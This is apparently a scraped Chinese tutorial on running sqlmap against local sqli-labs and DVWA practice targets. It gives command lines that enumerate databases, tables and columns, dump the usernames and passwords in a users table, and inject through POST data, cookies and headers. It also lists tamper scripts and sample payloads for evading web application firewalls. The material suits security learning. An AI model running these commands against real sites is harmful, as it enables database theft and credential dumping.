天天看點

sql注入-sqlmap的使用方法

擷取一個url:

http://localhost/sqli-labs-master/Less-1/?id=1

判斷是否有注入:

python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1”

get型注入

檢視所有資料庫:

python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” –dbs

檢視目前使用的資料庫:

python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-db

sql注入-sqlmap的使用方法

檢視目前使用者:

python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --current-user

sql注入-sqlmap的使用方法

檢視資料表:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security --tables

sql注入-sqlmap的使用方法

檢視字段名:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

sql注入-sqlmap的使用方法

檢視資料:

python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” -D security -T users -C username,password --dump

sql注入-sqlmap的使用方法

post型注入

1.指定post資料:python sqlmap.py –u “http://localhost/DVWA-master/vulnerabilities/sqli/” --data “post資料”

其餘參數同get

Cookie注入

指定cookiepython sqlmap.py –u “http://localhost/DVWA-

master/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie “…cookie值”

其餘參數同get

如果不掃描cookie參數可嘗試提高等級:–level 1-5

post與cookie舉例:

語句:

python sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit" --data "id=1&Submit=Submit" cookie"security=medium;PHPSESSID=d397avpf1n2jneqsfgo0etqjl6" --current-db --batch

sql注入-sqlmap的使用方法

2.指定.txt檔案:python sqlmap.py –r .txt檔案

其餘參數同get

http頭部注入

-r 測速.txt檔案中帶*的注入點

post與Referer舉例:

語句:

python sqlmap.py -r test.txt --current-db --batch

sql注入-sqlmap的使用方法
sql注入-sqlmap的使用方法
sql注入-sqlmap的使用方法

使用sqlmap進繞過waf機制

介紹

sqlmap中的tamper給我們帶來了很多防過濾的腳本,非常實用,通過自帶的tamper,或者自行編寫tamper(路徑:安裝目錄sqlmap\tamper),可以幫助我們繞過waf進行自動化攻擊

使用

指定腳本:

–tamper “腳本名”(“apostrophemask”)

例:python sqlmap.py –u “http://localhost/sqli-labs-master/Less-1/?id=1” --tamper “腳本名”

常用腳本:

apostrophemask.py:

用utf8代替引号–>(“1 AND ‘1’='1”) ‘1 AND %EF%BC%871%EF%BC%87=%EF%BC%871’

base64encode.py :

用base64編碼替換–>(“1’ AND SLEEP(5)#”)‘MScgQU5EIFNMRUVQKDUpIw==’

multiplespaces.py:

圍繞SQL關鍵字添加多個空格–>(‘1 UNION SELECT foobar’)‘1 UNION SELECT foobar’

space2plus.py:

用+替換空格–>(‘SELECT id FROM users’)‘SELECT+id+FROM+users’

nonrecursivereplacement.py:

雙重查詢語句,取代predefined SQL關鍵字with表示suitable for替代(例如 .replace(“SELECT”、”")) filters–>(‘1 UNION SELECT 2–’)‘1 UNIOUNIONN SELESELECTCT 2–’

space2randomblank.py:

代替空格字元(“”)從一個随機的空白字元可選字元的有效集–>(‘SELECT id FROM users’)‘SELECT%0Did%0DFROM%0Ausers’

unionalltounion.py:

替換UNION ALL SELECT UNION SELECT–>(’-1 UNION ALL SELECT’)’-1 UNION SELECT’

securesphere.py:

追加特制的字元串–>(‘1 AND 1=1’)“1 AND 1=1 and ‘0having’=‘0having’”

例:

語句:

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-21/index.php" --cookie "uname=admin" -p uname --tamper "base64encode" --level 5 --dbms mysql --dbs --batchl

sql注入-sqlmap的使用方法

繼續閱讀